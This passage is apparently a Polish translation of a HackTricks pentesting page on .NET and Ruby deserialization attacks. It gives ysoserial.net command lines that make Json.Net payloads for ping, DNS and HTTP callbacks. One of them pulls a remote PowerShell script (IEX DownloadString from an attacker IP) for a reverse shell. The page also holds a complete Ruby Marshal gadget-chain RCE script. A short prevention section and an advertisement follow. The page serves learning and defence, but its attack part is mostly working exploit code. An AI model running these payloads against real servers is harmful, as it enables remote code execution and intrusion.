Wyszukiwanie powinno być skierowane na zakodowany w Base64 ciąg AAEAAAD///// lub podobny wzorzec, który może zostać zdeserializowany po stronie serwera, umożliwiając kontrolę nad typem do zdeserializowania. Może to obejmować, ale nie ograniczać się do, struktur JSON lub XML zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku można skorzystać z narzędzia ysoserial.net w celu tworzenia exploitów deserializacyjnych. Po pobraniu repozytorium git należy skompilować narzędzie przy użyciu na przykład Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatujący Json.Net.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget służy do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystana podczas deserializacji do wykonania poleceń).

  • --formatter, służy do wskazania metody serializacji exploitu (musisz wiedzieć, która biblioteka jest używana po stronie serwera do deserializacji ładunku i użyć tej samej do jego serializacji)

  • --output służy do wskazania, czy chcesz exploit w formacie surowym czy zakodowanym w Base64. Zauważ, że ysoserial.net zakoduje ładunek za pomocą UTF-16LE (domyślne kodowanie w systemie Windows), więc jeśli otrzymasz surowy i po prostu zakodujesz go z konsoli systemu Linux, możesz napotkać problemy z zgodnością kodowania, które uniemożliwią poprawne działanie exploitu (w HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działał).

  • --plugin ysoserial.net obsługuje wtyczki do tworzenia exploitów dla konkretnych frameworków jak ViewState

Więcej parametrów ysoserial.net

  • --minify dostarczy mniejszego ładunku (jeśli to możliwe)

  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadżety, które można użyć z podanym formatowaniem (Json.Net w tym przypadku)

  • --sf xml możesz wskazać gadżet (-g) i ysoserial.net będzie szukał formatowników zawierających "xml" (bez uwzględniania wielkości liter)

Przykłady exploitów ysoserial do tworzenia:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma również bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każde wykorzystanie: --test Jeśli wskazujesz ten parametr, ysoserial.net spróbuje wykorzystania lokalnie, dzięki czemu możesz przetestować, czy twój ładunek zadziała poprawnie. Ten parametr jest pomocny, ponieważ po przejrzeniu kodu znajdziesz fragmenty kodu takie jak ten (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To oznacza, że w celu przetestowania exploitu kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie jest podatny na stworzenie eksploatacji. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to prawdopodobnie, że ta aplikacja jest również podatna. Dlatego parametr --test pozwala nam zrozumieć, które fragmenty kodu są podatne na eksploatację deserializacji, którą może stworzyć ysoserial.net.

ViewState

Zajrzyj do tego POSTA na temat jak próbować wykorzystać parametr __ViewState w .Net do wykonywania dowolnego kodu. Jeśli już znasz sekrety używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się, jak wykonać kod.

Zapobieganie

Aby zmniejszyć ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. Korzystaj z DataContractSerializer lub XmlSerializer, gdy to możliwe.

  • Dla JSON.Net, ustaw TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.

  • Ogranicz typy, które mogą być deserializowane, rozumiejąc związane z nimi ryzyka, takie jak System.IO.FileInfo w .Net, który może modyfikować właściwości plików serwera, potencjalnie prowadząc do ataków typu odmowy usługi.

  • Bądź ostrożny z typami posiadającymi ryzykowne właściwości, takimi jak System.ComponentModel.DataAnnotations.ValidationException z jego właściwością Value, która może być wykorzystana.

  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec wpływowi atakujących na proces deserializacji, czyniąc nawet DataContractSerializer lub XmlSerializer podatnymi.

  • Wprowadź kontrolę białej listy za pomocą niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.

  • Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie instancjonują takich typów.

  • Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby uniknąć ujawniania znanych gadżetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, dla niezaufanych źródeł danych.

Referencje

Ruby

W Ruby, serializacja jest ułatwiana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów. Ten proces nazywa się serializacją. Z kolei druga metoda, load, służy do przywrócenia strumienia bajtów z powrotem do obiektu, proces ten nazywa się deserializacją.

Dla zabezpieczenia zserializowanych obiektów, Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany w tym celu jest przechowywany w jednym z kilku możliwych miejsc:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Łańcuch gadżetów deserializacji do RCE w Ruby 2.X (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inny łańcuch RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated